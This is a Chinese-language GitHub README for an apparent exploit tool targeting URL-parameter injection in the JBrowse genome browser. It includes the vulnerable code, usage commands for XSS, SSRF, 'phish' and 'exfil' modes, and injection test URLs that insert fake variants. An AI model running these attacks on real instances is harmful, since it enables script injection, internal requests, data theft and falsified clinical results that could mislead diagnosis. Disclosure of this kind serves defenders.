jabir-dev/CVE-2026-JBrowse-Injection
GitHub: jabir-dev/CVE-2026-JBrowse-Injection
针对 JBrowse 基因组浏览器 URL 参数注入漏洞(CVE-2026)的安全利用与检测工具。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX:通过 URL 参数注入 JBrowse 配置
## 概述
| 字段 | 值 |
|-------|-------|
| **产品** | JBrowse |
| **供应商** | GMOD |
| **版本** | 1.0 至 1.16.11(所有 1.x 版本) |
| **类型** | 代码注入 (CWE-94) / XSS (CWE-79) / SSRF (CWE-918) |
| **CVSS 4.0** | 8.6 高危 |
| **影响** | XSS / SSRF / 数据泄露 / 临床数据篡改 |
| **bio.tools** | https://bio.tools/jbrowse |
## 漏洞
JBrowse 接收多个 URL 查询参数,并在未经验证或清理的情况下将其直接传递给 `JSON.parse()`:
```
// src/JBrowse/main.js:85-106
if (queryParams.addFeatures) {
config.stores.url.features = JSON.parse(queryParams.addFeatures) // NO VALIDATION
}
if (queryParams.addTracks) {
config.tracks = JSON.parse(queryParams.addTracks) // NO VALIDATION
}
if (queryParams.addBookmarks) {
config.bookmarks.features = JSON.parse(queryParams.addBookmarks) // NO VALIDATION
}
if (queryParams.addStores) {
config.stores = JSON.parse(queryParams.addStores) // NO VALIDATION
}
```
结合 `.htaccess` 中的 CORS 通配符:
```
Header onsuccess set Access-Control-Allow-Origin *
```
## 影响
### 1. 跨站脚本攻击 (XSS)
通过 track 名称、feature 属性或书签注入 HTML/JavaScript。
### 2. 服务端请求伪造 (SSRF)
配置 store 以获取内部资源(AWS metadata、内部 API)。
### 3. 临床数据篡改
将虚假的致病变异注入到临床基因组学 JBrowse 实例中,可能导致患者误诊。
### 4. 数据泄露
将数据请求重定向到攻击者控制的服务器。
## 用法
```
# 检查目标是否存在漏洞
python3 exploit.py --target http://jbrowse.example.com --mode check
# 生成 XSS payloads
python3 exploit.py --target http://jbrowse.example.com --mode xss
# 生成 SSRF payloads
python3 exploit.py --target http://jbrowse.example.com --mode ssrf
# Clinical data phishing
python3 exploit.py --target http://jbrowse.example.com --mode phish
# Data exfiltration
python3 exploit.py --target http://jbrowse.example.com --mode exfil
```
### 快速手动测试
在浏览器中打开:
```
http://jbrowse.example.com/?data=sample_data/json/volvox&addTracks=[{"label":"test","key":"
","type":"FeatureTrack","store":"url"}]
```
## 根本原因
1. 对 `addFeatures`、`addTracks`、`addStores`、`addBooks` URL 参数**没有输入验证**
2. **CORS 通配符**(`Access-Control-Allow-Origin: *`)允许跨域利用
3. **没有 CSP 头**来防止内联脚本执行
4. 所有 JBrowse 功能均**无身份验证**
## 确认的测试结果
### 测试 1:数据注入
- **URL**:`?addFeatures=[{"seq_id":"ctgA","start":1000,"end":5000,"name":"INJECTED_FAKE_VARIANT","type":"mRNA"}]`
- **结果**:在浏览器中渲染了带有完整 DNA 序列的虚假 mRNA feature
- **状态**:**已确认**
### 测试 2:通过 Feature 名称进行 XSS
- **URL**:`?addFeatures=[{"seq_id":"ctgA","start":2000,"end":4000,"name":"
","type":"mRNA"}]`
- **结果**:点击 feature 时执行了 JavaScript alert() 弹窗
- **状态**:**已确认**
## 免责声明
仅用于**授权的安全测试**和**教育目的**。
## 许可证
MIT
标签:CISA项目, JBrowse, SSRF, 数据可视化, 生物信息学, 跨站脚本(XSS), 逆向工具